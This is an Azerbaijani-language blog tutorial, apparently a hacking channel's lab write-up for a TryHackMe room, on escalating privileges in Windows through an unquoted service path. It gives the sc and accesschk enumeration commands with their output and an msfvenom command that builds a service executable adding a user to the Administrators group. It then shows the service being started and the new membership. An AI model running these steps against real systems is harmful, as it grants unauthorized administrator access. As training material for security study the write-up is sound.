Windows mühitində işləyərkən Dırnaqsız Servis Yolunun Exploit Edilməsi necə həyata keçirilir?Windows-da Dırnaqsız Servis Yolunun Exploit Edilməsi ilə PrivEsc necə həyata keçirilir?Dırnaqsız Servis Yolunun Exploit Edilməsi ilə PrivEsc nədir? Servislərin Exploit Edilməsi nədir? (Unquoted Service Paths )
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Dırnaqsız Servis Yolu
Bu zəifliyi istismar etməzdən əvvəl Windows əməliyyat sistemində faylların necə icra olunması barədə əsas məlumatlara sahib olmalıyıq.İcra olunan faylları Windows ƏS-də iki növ üsulla icra edilir.Bunlardan birinci üsul isə icra faylının adının bütöv istifadə olunur.
C:\>program.exe
Bunda əlavə olaraq bəzi proqramlar icra zamanı bəzi arqumentlər alırlar.Məs:
C:\>ping.exe 10.1.1.1
İcra faylını icra etməyin ikinci yolu – Windows PATH dəyişənində yerləşən proqramdırsa, .exe uzantısını ataraq istifadə olunur.
C:\>ping 10.1.1.1
İndi isə keçək zəifliyin təsvir etməyə. Bu məsələdə əvvəl paylaşımdan fərqli olaraq bizim hədəf servis üzərində heç bir icazəmiz yoxdur.Amma biz servis yolunun dırnaqsız yazıldığını və qovluq adlarında boşluq olduğunu bilirik.Təsəvvür edinki Administrator servis yoluna aşağıdakı sətri vermişdir:
C:\Program Files\Admin Services\svc test\service.exe
Əməliyyat sisemi sətrin dırnaqsız olduğu və tərkində boşluq olduğu üçün hissə-hissə onu arqument kimi başa düşəcəkdir.
- C:\Program;
- Files\Admin;
- Services\svc;
- test\service.exe.
ƏS hədəf icra faylını yuxarıdakı yerlərə baxa-baxa tapacaqdır.Əgər biz Progam.exe,Admin.exe və svc.exe fayllarını uyğun olaraq qovluqlara yerləşdirə bilsək, ƏS birinci bizim icra faylını tapacaq və sonrakı hissəsinə baxmayacaqdır.
İndi isə keçək praktiki tapşırığı yerinə yetirək.Bizim hədəfimiz unquotedsvc servisidir və məhz bu zəiflik üçün yaradılmışdır.
C:\Users\user>sc qc unquotedsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: unquotedsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common Files
\unquotedpathservice.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Unquoted Path Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Hədəf servisin konfiqurasiyasına nəzər yetirdikdə,BINARY_PATH_NAME parametrinin dəyəri olan C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe yolunun dırnaqsız olduğunu və SERVICE_START_NAME : LocalSystem hissəsindən isə servisin SYSTEM səlahiyyətləri ilə işlədiyini görə bilərik. Belə nəticəyə gəlirikki,hədəf servis bizim səlahiyyətlərimizi artırmaq (Privilege Escaltion) üçün uyğundur.
C:\Users\user>C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -uwcqv unquo
tedsvc
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
unquotedsvc
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
Servis üzərində səlahiyyətlərə baxmaq istədikdə isə bizim hədəf servis üzərində heç bir icazə vəya səlahiyyətimiz yoxdur.
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe yolunu araşdıraq və hansı hissələrə bizim zərərli exe faylını daxil edə biləcəyimizi təyin edək. ƏS sistemi uyğun olaraq aşağıdakı hissələrə baxacaqdır:
- Program.exe;
- Unquoted.exe;
- Common.exe.
Bu qovluqların hansında bizim yazma icazəmizin olduğunu təyin edək.
C:\Users\user>C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -uwdq "C:\Pr
ogram Files\Unquoted Path Service\"
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Program Files\Unquoted Path Service
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
C:\Users\user>C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -uwdq "C:\Pr
ogram Files\Unquoted Path Service\Common Files\"
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Program Files\Unquoted Path Service\Common Files
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
C:\Users\user>C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -uwdq "C:\Pr
ogram Files\"
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Program Files
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
Bir neçə qovluğun icazələrini təyin etdiyimiz zaman görə bilərikki,C:\Program Files\Unquoted Path Service\ yolunda RW BUILTIN\Users yazısından hədəf yolda bütün icazələrimizin olduğunu görə bilərik.
Yazma hüququmuz olan C:\Program Files\Unquoted Path Service\ yolunda Common.exe zərərli fayl yaradıb icra etdirsək o zaman səlahiyyətlərimizi yüksəltmiş olacayıq.Bunun üçün MSFvenom alətində net localgroup administrators user /add əmrini icra edən exe faylını generasiya edək və hədəfə uyğun yerə yerləşdirək.Əmrin məqsədi user istifadəçisini Administrator qrupuna daxil etməkdir,yəni user istifadəçisi admin olacaqdır.
Hədəf zərərli faylın necə ötürmək lazım olduğunu artıq bilirsiniz.Həmçinin əvvəlki paylaşımda görə bilərsiniz
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
Hədəfə yerləşdirdikdən sonra servisi başladaraq nəticəni izləyə bilərik
C:\Program Files\Unquoted Path Service>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the compu
ter/domain
Members
-------------------------------------------------------------------------------
Administrator
TCM
The command completed successfully.
C:\Program Files\Unquoted Path Service>sc start unquotedsvc
SERVICE_NAME: unquotedsvc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2100
FLAGS :
C:\Program Files\Unquoted Path Service>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the compu
ter/domain
Members
-------------------------------------------------------------------------------
Administrator
TCM
user
The command completed successfully.
Əvvəl Administrators qrupunda olmayan istifadəçi hesabımız olan user artıq Administrator qrupundadır və admindir.Exploit üçün shell almaqda mümkündür, bu dəfə exploitin biraz fərqli olmasını istədim.
Tapşırıqda istifadə olunan lab: https://tryhackme.com/room/windowsprivescarena 10-cu Task
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat